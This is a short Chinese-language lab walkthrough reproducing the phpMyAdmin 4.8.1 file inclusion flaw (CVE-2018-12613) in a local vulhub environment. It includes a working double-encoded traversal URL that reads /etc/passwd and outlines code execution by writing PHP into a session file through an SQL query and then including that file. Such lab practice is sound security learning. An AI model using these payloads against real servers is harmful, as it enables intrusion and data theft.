phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)(Kali)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
通过vulhub靶场进行复现操作
1.首先搭建靶场环境(采用Kali)
搭建成功
环境启动后,访问http://your-ip:8080
,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。(确保8080端口不被占用才能正常启动靶场环境,8080端口占用原因可能是靶场环境未关闭)
进入成功
漏洞复现
访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
,可见/etc/passwd
被读取,说明文件包含漏洞存在:
利用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';
,然后查看自己的sessionid(cookie中phpMyAdmin的值),然后包含session文件即可:
总结:该漏洞操作简单,不用复杂的操作,很适合新手练练手!
最后别忘了关机靶场环境噢 sudo docker-compose down
everything in your heart!